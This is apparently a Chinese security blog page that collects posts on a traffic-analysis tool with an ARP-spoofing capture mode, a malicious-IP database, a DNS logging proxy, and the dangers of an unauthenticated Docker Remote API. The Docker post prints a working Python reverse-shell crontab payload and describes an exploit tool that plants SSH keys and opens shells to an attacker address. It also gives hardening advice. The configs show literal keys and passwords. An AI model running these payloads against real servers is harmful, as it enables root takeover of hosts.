12 11

简易恶意流量分析程序

概述

xsec-traffic为一款轻量级的恶意流量分析程序,包括传感器sensor和服务端server 2个组件。

sensor

sensor负责采集流量,然后发到server端,由server来检测是否为恶意流量。

  1. sensor支持采集TCP和UDP的五元组信息
  2. 支持采集http请求信息
  3. 支持采集同一局域网中其他机器的以上信息

Server

server端的功能为接收各sensor采集到的流程并判断是否为恶意流量,其中:

  1. IP五元组信息是通过查询恶意IP库来判断的
  2. http请求数据的检测还在开发中(暂时会把所有取到的请求信息保存起来,理论上可支持检测所有来自WEB端的攻击类型,如注入、xss等)

使用说明

Server

server需要mongodb的支持,在启动前需要事先准备一个有读写权限的mongodb账户,然后修改当前目录下的配置文件conf/app.ini,样例如下:

HTTP_HOST = 108.61.223.105
HTTP_PORT = 4433

DEBUG_MODE = TRUE
SECRET_KEY = xsec_secret_key

[EVIL-IPS]
API_URL = "http://www.xsec.io:8000"

[database]
DB_TYPE = mongodb
DB_HOST = 127.0.0.1
DB_PORT = 27017
DB_USER = xsec-traffic
DB_PASS = 7160c452342340787fasdfa5b0a9fe0
DB_NAME = xsec-traffic
  1. HTTP_HOST和HTTP_PORT表示server端监听的地址及端口
  2. DEBUG_MODE表示以debug模式运行
  3. SECRET_KEY为sensor与server通讯用的密钥
  4. EVIL-IPS部分为恶意IP库的地址
  5. database部分为mongodb的配置

启动命令如下:

root@xsec:/data/golang/src/xsec-traffic/server# ./server 
[0000]  INFO xsec traffic server: DB Type: mongodb, Connect err status: <nil>
NAME:
   xsec traffic server - xsec traffic server

USAGE:
   server [global options] command [command options] [arguments...]

VERSION:
   20171210

AUTHOR:
   netxfly <x@xsec.io>

COMMANDS:
     serve    startup xsec traffic server
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --debug, -d               debug mode
   --server value, -s value  http server address
   --port value, -p value    http port (default: 1024)
   --help, -h                show help
   --version, -v             print the version
root@xsec:/data/golang/src/xsec-traffic/server# ./server serve
[0000]  INFO xsec traffic server: DB Type: mongodb, Connect err status: <nil>
[0000]  INFO xsec traffic server: run server on 108.61.223.105:4433
  1. serve参数表示直接启动server服务器。

sensor

sensor端也支持配置,修改当前目前下的conf/app.ini即可,详细的配置项如下:

; Sensor global config
DEVICE_NAME = en0
DEBUG_MODE = true
FILTER_RULE = tcp udp

[server]
API_URL = http://108.61.223.105:4433
API_KEY = xsec_secret_key
  1. DEVICE_NAME表示需要采集流量的网卡名
  2. DEBUG_MODE为Debug模式,正式使用时可关掉
  3. FILTER_RULE为流量抓取规则,与wireshark的规则一致

sensor的命令行如下:

$ ./xsec_sensor
[0000]  INFO xsec traffic sensor: Device name:[en0], ip addr:[192.168.31.204], Debug mode:[true]
NAME:
   xsec traffic sensor - xsec traffic sensor, Support normal and arp spoof modes

USAGE:
   xsec_sensor [global options] command [command options] [arguments...]

VERSION:
   20171210

AUTHOR(S):
   netxfly <x@xsec.io>

COMMANDS:
     start    startup xsec traffic sensor
     arp      startup arp spoof mode
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --debug, -d                debug mode
   --filter value, -f value   setting filters
   --length value, -l value   setting snapshot Length (default: 1024)
   --target value, -t value   target ip address
   --gateway value, -g value  gateway ip address
   --help, -h                 show help
   --version, -v              print the version

  1. start 表示直接只采集本地的流量
  2. arp模式为arpspoof模式,可以采集同一局域网下的其他机器的流量,详细的命令行如下:

    sudo ./xsec_sensor arp -t 192.168.31.215 -g 192.168.31.1
    

    在启动前需要安装libpcap库并将内核参数设为允许转发,以下为3种OS的安装、设置方法: ```

    OSX

    sudo sysctl net.inet.ip.forwarding=1

FreeBSD

sudo sysctl -w net.inet.ip.forwarding=1

Linux

sudo sysctl -w net.ipv4.ip_forward=1

Fedora

sudo dnf install -y libpcap-devel

Debian/Ubuntu

sudo apt-get install -y libpcap-dev

OSX

brew install libpcap

FreeBSD

sudo pkg install libpcap

需要指定采集的目标与网关,其中采集的目标的语法与nmap的一致,支持以下几种写法:

10.0.0.1 10.0.0.0/24 10.0.0.* 10.0.0.1-10 10.0.0.1, 10.0.0.5-10, 192.168.1.*, 192.168.10.0/24 ```

实战演练

  • 启动server端

  • 以正常模式启动sensor端

启动后可以看到我本地电脑的有道云音乐正在对外发包。

  • 在小米路由器中查到我Mix2手机的IP地址如下:

  • 将我的Mix2手机手工加到恶意IP库中

  • 以Arp模式启动,用电脑采集同一lan下Mix2手机的流量

  • 可以通过server的简易后台看到检测结果:

  • 以下为http 全部的请求记录,等检测功能开发完后会改为只记录疑似攻击的请求。

参考资料

  1. https://github.com/google/gopacket/
  2. https://github.com/malfunkt/arpfox
  3. http://www.devdungeon.com/content/packet-capture-injection-and-analysis-gopacket
9 26

xsec ip database

xsec ip database

xsec ip database为一个恶意IP和域名库(Malicious ip database),它获取恶意IP和域名的方式有以下几种:

  1. 通过爬虫定期拉取网络中公开的恶意ip库(可能过增加新爬虫的方式订阅新的IP库)
  2. 支持与自有的其他安全产品联动(HIDS、WAF、蜜罐、防火墙等产品),实时更新IP库

功能说明

  1. 启动后会定期更新ip库,默认为1小时更新一次
  2. 支持将恶意ip信息写入postgres, sqlite, mysql, mongodb数据库
  3. 支持恶意ip信息导出、导入
  4. 提供了恶意ip和dns检测以及与其他安全产品联动的接口

使用方法

$ ./main 
[xorm] [info]  2017/09/26 13:22:58.220496 PING DATABASE mysql
NAME:
   xsec Malicious ip database - A Malicious ip database

USAGE:
   main [global options] command [command options] [arguments...]
   
VERSION:
   20170925
   
AUTHOR(S):
   netxfly <x@xsec.io> 
   
COMMANDS:
     serve    startup evil ips
     dump     Fetch all evil ips info and save to file
     load     load ips from file
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h     show help
   --version, -v  print the version


  • serve会启动程序,抓取完恶意ip和域名信息后会启动web接口
  • dump,将恶意ip和域名导出到当前目录,文件名分别为ips和dns
  • load,将ips和dns中的信息导入内存并启动WEB接口

运行截图

  • 直接启动程序

  • 导出恶意ip信息到当前目录中,使用场景为部分URL是被墙了的,需要先在国外的VPS中导出文件拖回国内使用

  • 导入恶意ip信息并启动WEB接口

  • 恶意IP检测及实时提交测试

  • 恶意域名检测及提交测试

其中测试与其他安全产品联动的测试代码的内容如下:


package routers_test

import (
    "testing"
    "time"
    "net/http"
    "net/url"

    "xsec-evil-ips/util"
)

func TestUpdateIp(t *testing.T) {
    u := "http://127.0.0.1:8000/api/ip/"
    timestamp := time.Now().Format("2006-01-02 15:04:05")
    k := "aadcbfbc837757a9a24ac96cf9171c8b"
    ip := "212.129.58.111"
    pro := "xsec test pro"

    t.Log(http.PostForm(u, url.Values{"timestamp": {timestamp}, "secureKey": {util.MakeSign(timestamp, k)}, "ip": {ip}, "pro": {pro}}))
}

func TestUpdateDomain(t *testing.T) {
    u := "http://127.0.0.1:8000/api/domain/"
    timestamp := time.Now().Format("2006-01-02 15:04:05")
    k := "aadcbfbc837757a9a24ac96cf9171c8b"
    domain := "www.hosting2balooonba.com"
    pro := "xsec test pro"

    t.Log(http.PostForm(u, url.Values{"timestamp": {timestamp}, "secureKey": {util.MakeSign(timestamp, k)}, "domain": {domain}, "pro": {pro}}))
}

提交的参数需要有以下几个参数,而且安全产品的key必须与恶意IP库的相同,否则不会接受提交的恶意ip或域名信息。

  • timestamp
  • secureKey
  • ip/domain,表示恶意ip或域名
  • pro,表示需要调动的安全产品名称

Demo

  1. 恶意IP检测,http://xsec.io:8000/api/ip/212.129.58.111
  2. 恶意域名检测,http://xsec.io:8000/api/domain/www.hosting2balooonba.com

项目地址:https://github.com/netxfly/xsec-ip-database

8 15

DNS代理服务器,可以记录log到数据库中

xsec-dns-server

xsec dns proxy server为一个DNS代理服务器,可以将DNS请求代理到后端的DNS服务器中,在代理的过程中会将dns log写入到数据库中。

主要特性如下:

  1. 代理DNS请求并记录请求数据
  2. 后端支持 sqlite、postgres、mysql和mongodb四种数据库

使用说明:

$ ./xsec-dns-server 
[xorm] [info]  2017/08/15 11:01:24.497380 PING DATABASE mysql
NAME:
   xsec dns proxy server - xsec dns proxy server

USAGE:
   xsec-dns-server [global options] command [command options] [arguments...]
   
VERSION:
   0.1
   
COMMANDS:
     serve    dns proxy Server
     web      web server
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h     show help
   --version, -v  print the version

  • serve参数表示启动一个dns代理服务器
  • web 参数表示启动一个简单WEB服务器,用来查看dns日志。

运行截图

项目地址:https://github.com/netxfly/xsec-ip-database

更新记录

2017/9/28

  • 恶意域名的种子中新增了360 netlab提供的DGA,使得域名记录直接上到了百万级。

![](https://docs.xsec.io/images/evil_ips/netlab_360.png)

  • 因为data.netlab.360.com在国内,而且体积在70M以上,所以从vps中的拉取速度很慢,建议下载到本地,将feeds/netlab360.go中的URL改为本地地址。
url := "http://data.netlab.360.com/feeds/dga/dga.txt"
// url := "http://127.0.0.1:8000/dga.txt"
  • 如果vps内存不足,会在将恶意IP和域名导出到文件中时报错,解决方案为增加swap分区。
2 14

Docker Remote api在安全中的应用杂谈

概述

部门每周三例行的技术分享投稿文章,首发在小米安全中心

众所周知,Docker daemon默认是监听在unix socket上的,如unix:///var/run/docker.sock。 官方还提供一个Rustful api接口,允许通过TCP远程访问Docker,例如执行以下启动参数可以让docker监听在本地所有地址的2375端口上:

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

之后就可以用docker client或任意http客户端远程访问了:

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

但是开启这种没有任何访问控制的Docker remote Api服务是非常危险的,攻击者发现后可以轻松地拿下整个服务器的权限。

攻击方法

Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限,常见的利用方法如下:

  1. 启动一个容器,挂载宿主机的/root/目录,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了
  2. 启动一个容器,挂载宿主机的/etc/目录,之后将反弹shell的脚本写入到/etc/crontab中,攻击者会得到一个反弹的shell,其中反弹shell脚本的样例如下:

    echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
    

第2种利用方法也可以挂载var/spool/cron/目录,将反弹shell的脚本写入到/var/spool/cron/root(centos系统)/var/spool/cron/crontabs/root(ubuntu系统)

手工利用方法网上有很多,就不多说了,笔者直接给出一个go语言版的自动化利用工具,github地址为:https://github.com/netxfly/docker-remote-api-exp,使用方法如下:

$ ./remote_api_exp
Usage of ./remote_api_exp:
  -pubkey string
        id_rsa.pub file (default "/root/.ssh/id_rsa.pub")
  -reverse string
        reverse address, 6.6.6.6:8888
  -target string
        target ip, 1.1.1.1:2375
  -type string
        Type, such as check, root, shell (default "check")
  -version string
        Docker version:
        ---------------------------
        Docker version  API Version
        ---------------------------
        1.12.x          1.24
        1.11.x          1.23
        1.10.x          1.22
        1.9.x           1.21
        1.8.x           1.20
        1.7.x           1.19
        1.6.x           1.18

 (default "1.12")

参数说明:

  1. ./remote_api_exp -type=check -target=ip:2375,获取服务器信息,如操作系统,机器名,remote api版本以及docker的安装位置等
  2. ./remote_api_exp -type=root -target=ip:2375 -version=1.12.3,在/root/.ssh/authorized_keys写入攻击者的ssh公钥
  3. ./remote_api_exp -type=shell -target=ip:2375 -version=1.12.3 -reverse=attackerIp:8888,给攻击者反弹一个shell

使用示例:

  1. 以root账户登录

  2. 获取一个反弹shell

也许有运维同学觉得这是因为监听在了外网,所以攻击者才有机会攻击,如果我不监听在外网就没有安全隐患了,其实监听在内网也有以下安全隐患:

  1. 外网攻击者可以通过WEB应用的SSRF漏洞,间接地攻击内网中的这些未授权的Docker remote api服务;
  2. 方便已经攻入内网的攻击者扩大攻击范围;
  3. 可能会被内部别有用心的人攻击,然后窃取敏感数据。

安全加固

在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

  1. 设置ACL,仅允许信任的来源IP连接;
  2. 设置TLS认证,官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

安全建设

以上咱们回顾了下docker remote api未授权访问认证的安全风险与利用方法,接下来咱们再切换到安全建设视角,用docker remote api构建一个可自动弹性伸缩的ssh蜜罐系统。

现在有不少安全从业者使用docker来做为蜜罐的沙箱了,但是存在一个普通的问题是:所有攻击者连接的都是同一个沙盒,放在外网的沙盒,经常会有多个攻击者同一时间段进入的可能,他们彼此之间可能会看到对方的行为从而识破蜜罐或者为我们单独分析日志造成干扰。

我们的愿景是让所有攻击者都能用上独立的沙盒。您来的时候自动为您开一个全新的沙盒,然后默默地记录下您的操作行为,您走后一段时间会自动销毁沙盒,把资源预留出来接待其他即将到来的黑客兄弟们。

Prev Next